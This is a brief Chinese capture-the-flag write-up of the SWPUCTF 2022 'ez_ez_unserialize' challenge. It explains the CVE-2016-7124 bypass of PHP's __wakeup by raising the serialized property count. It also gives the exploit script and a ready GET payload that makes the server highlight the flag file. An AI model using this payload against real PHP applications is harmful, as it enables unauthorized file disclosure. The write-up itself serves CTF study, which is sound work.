NSS [SWPUCTF 2022 新生赛]ez_ez_unserialize
开题,直接给了题目源码。
简单看了一下,题目告诉我们flag在哪,而且类中有高亮文件方法。怎么拿flag已经很明显了。关键点在于__weakup()
魔术方法固定死了我们高亮的文件。所以这题只需要绕过__weakup()
。
PHP版本是5.5.38
我们可以使用使对象的属性数量不一致
凡凡来绕过
CVE-2016-7124
版本:PHP5 < 5.6.25、PHP7 < 7.0.10
版本满足,我们来编写EXP:
<?php
class X{public $x ;function __construct($x){$this->x = $x;}function __wakeup(){if($this->x !== __FILE__){$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
echo serialize(new X("fllllllag.php"));
生成的
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
修改为
O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
payload:
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}